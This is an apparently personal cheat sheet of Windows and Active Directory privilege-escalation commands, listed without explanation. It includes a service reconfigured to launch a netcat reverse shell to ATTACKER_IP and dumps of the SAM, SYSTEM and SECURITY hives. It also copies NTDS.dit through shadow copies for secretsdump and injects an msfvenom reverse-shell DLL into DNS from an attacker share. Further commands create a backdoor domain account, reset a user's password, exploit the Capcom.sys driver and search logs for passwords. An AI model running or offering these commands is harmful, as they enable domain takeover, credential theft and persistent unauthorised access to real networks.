Privileged Groups

whoami /groups
net localgroup
net group /domain

sc config VMTools binpath= "C:\Windows\Temp\nc.exe -e cmd.exe ATTACKER_IP 4444"
sc stop VMTools
sc start VMTools

sc qc AppReadiness
sc qc VMTools
sc qc browser

reg save HKLM\SAM C:\Temp\SAM
reg save HKLM\SYSTEM C:\Temp\SYSTEM
reg save HKLM\SECURITY C:\Temp\SECURITY

diskshadow.exe

set context persistent nowriters
add volume C: alias myvolume
create
expose %myvolume% Z:

robocopy /B Z:\Windows\NTDS C:\Temp ntds.dit

impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL

robocopy /B C:\Users\Administrator\Desktop C:\Temp confidential.txt

msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f dll -o evil.dll

impacket-smbserver share . -smb2support

dnscmd DC01 /config /serverlevelplugindll \\ATTACKER_IP\share\evil.dll

sc \\DC01 stop dns
sc \\DC01 start dns

dnscmd DC01 /config /serverlevelplugindll ""

net user backdoor P@ssw0rd /add /domain
net group "Remote Desktop Users" backdoor /add /domain

net user targetuser NewP@ss123! /domain

net group "Exchange Windows Permissions" backdoor /add /domain

# Capcom.sys
LoadDriver.exe System\CurrentControlSet\Capcom C:\Temp\Capcom.sys
ExploitCapcom.exe

xfreerdp3 /v:TARGET /u:user /p:password /cert:ignore

evil-winrm -i TARGET -u user -p password

# Clone VM disk
Copy-Item "C:\VMs\DC01\disk.vhdx" C:\Temp\
# Mount and extract NTDS.dit + SYSTEM

Get-WinEvent -LogName Security | Where-Object { $_.Message -match "password|credential" }

wevtutil qe Security /c:50 /f:text | findstr /i "password"